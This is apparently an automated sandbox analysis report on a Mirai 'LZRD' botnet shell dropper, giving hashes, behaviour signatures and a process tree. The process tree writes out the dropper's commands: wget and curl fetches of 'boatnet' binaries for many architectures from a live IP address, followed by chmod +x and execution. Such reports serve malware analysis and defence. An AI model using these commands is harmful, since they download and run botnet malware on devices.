Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18-12-2024 02:18

General

  • Target

    2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh

  • Size

    2KB

  • MD5

    d7aac5b39f096043750096172ee9a84f

  • SHA1

    fde809f81c26db59c148255c0b60176c8971bc0c

  • SHA256

    2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5

  • SHA512

    77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
    /tmp/2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
    1⤵
    • Writes file to tmp directory
    PID:1463
    • /usr/bin/wget
      wget http://147.45.124.54/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1468
    • /usr/bin/curl
      curl -O http://147.45.124.54/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1479
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1480
      • /bin/chmod
        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.x86 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1481
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1482
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1486
      • /usr/bin/curl
        curl -O http://147.45.124.54/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1487
      • /bin/chmod
        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1490
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1491
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1495
      • /usr/bin/curl
        curl -O http://147.45.124.54/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1496
      • /bin/chmod
        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1498
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1499
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.i468
        2⤵
          PID:1503
        • /usr/bin/curl
          curl -O http://147.45.124.54/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/chmod
          chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1506
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1507
        • /usr/bin/wget
          wget http://147.45.124.54/hiddenbin/boatnet.i686
          2⤵
            PID:1511
          • /usr/bin/curl
            curl -O http://147.45.124.54/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/chmod
            chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1514
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1515
          • /usr/bin/wget
            wget http://147.45.124.54/hiddenbin/boatnet.x86_64
            2⤵
              PID:1519
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-RM1mns systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1528
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1529
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-jA5pUr systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1542
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1543
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1547
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1548
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-jA5pUr systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1550
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1551
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1555
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1558
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-l8y1By systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1564
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1565
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1569
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1576
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-LSX8N2 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1584
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1585
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1589
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1592
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1594
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1595
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1599
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1600
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1602
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1603
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1607
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1608
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1610
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1611
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1615
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1616
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1618
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1619
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1623
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1624
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-J65FIL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1626
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1627

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            9acf9fc63b01f4a7a5b33881073ff6a6

            SHA1

            cf5be79ccc477ca582c8aee42898442f8089b886

            SHA256

            0a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9

            SHA512

            1dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5